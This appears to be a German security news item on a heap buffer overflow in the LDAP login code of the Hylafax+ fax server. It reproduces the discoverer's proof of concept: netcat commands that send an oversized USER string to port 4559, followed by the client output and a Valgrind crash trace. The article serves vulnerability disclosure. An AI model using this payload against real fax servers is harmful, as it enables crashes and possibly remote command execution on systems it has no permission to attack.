Eine Sicherheitslücke in der Fax-Software Hylafax+ hat zur Folge, dass ein entfernter Angreifer Befehle mit den Rechten des Dienstes “hfaxd” ausführen kann. Dabei handelt es sich gewöhnlich um die Berechtigungen des Systemkontos “uucp”. Das Problem tritt nur auf Systemen mit Unterstützung für LDAP-Authentisierung auf.
Das Problem besteht darin, dass im LDAP-Mechanismus des Codes ein fester 255-Byte Puffer verwendet wird, der sich durch Benutzereingaben via “strcats()” zum Überlaufen bringen lässt. Ein Angreifer kann dies zum Ausführen von Befehlen ausnutzen.
Einen Proof-of-Concept-Exploit hat Dennis Jenkins, Entdecker der Schwachstelle, auf der Bugtraq-Mailingliste beschrieben:
1) man aktiviert die LDAP-Authentisierung für “hfaxd”. Dazu braucht kein funktionierender LDAP-Server zur Verfügung zu stehen. Es genügt, “LDAPServerURI:” in der Datei “/usr/local/lib/fax/hfaxd.conf” zu setzen.
# grep "^LDAPServerURI" /usr/local/lib/fax/hfaxd.conf LDAPServerURI: ldap://127.0.0.1:389
2) Man startet den “hfaxd”-Prozess. Lässt man ihn innerhalb von Valgrind laufen, kann man später den Heap Overwrite aufspüren:
# valgrind ./hfaxd/hfaxd -c /usr/local/lib/fax/hfaxd.conf -l 192.168.2.33 -q /var/spool/fax -i hylafax -d
3) Das folgende Skript lässt man auf einer Client-Maschine laufen. Achtung: Beim Testen auf der selben Maschine sollte man nicht die Adresse “localhost” oder 127.0.0.1 verwenden, denn dann wird das LDAP nicht aufgerufen.
# # Test authentication without buffer overflow:
# perl -le 'print "USER ".("x"x10)."12345\nPASS test-ldap\nQUIT\n\n" '
| nc -q 5:5 192.168.2.33 4559
Auf dem Client ist dann Folgendes zu sehen:
nc: using stream socket 220 localhost server (HylaFAX (tm) Version 5.5.4) ready. 331 Password required for xxxxxxxxxx12345. 530 Bind LDAP error -1: Can't contact LDAP server 530 Login incorrect.
4) Man testet noch einmal, erhöht aber die Datenmenge in “USER” erheblich, um den Heap zu überschreiben:
# perl -le 'print "USER ".("x"x500)."12345\nPASS test-ldap\nQUIT\n\n"
' | nc -q 5:5 192.168.2.33 4559
Auf dem Client zeigt sich:
220 localhost server (HylaFAX (tm) Version 5.5.4) ready. 331 Password required for xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx1234 5.
Die Verbindung hängt, bis Netcat eine Zeitüberschreitung registriert.
Auf dem Server gibt Valgrind eine Menge Informationen aus, die letzten Zeilen lauten:
--15348-- VALGRIND INTERNAL ERROR: Valgrind received a signal 11 (SIGSEGV) - exiting --15348-- si_code=80; Faulting address: 0x0; sp: 0x402f3adf0 valgrind: the 'impossible' happened: Killed by fatal signal ==15348== at 0x38062496: vgPlain_arena_malloc (m_mallocfree.c:291) ==15348== by 0x380294E4: vgMemCheck_new_block (mc_malloc_wrappers.c:263) ==15348== by 0x3802967A: vgMemCheck_malloc (mc_malloc_wrappers.c:301) ==15348== by 0x3809CEED: vgPlain_scheduler (scheduler.c:1665) ==15348== by 0x380AC5A5: run_a_thread_NORETURN (syswrap-linux.c:103)
Betroffen sind die Hylafax+-Versionen 5.2.4 bis 5.5.3

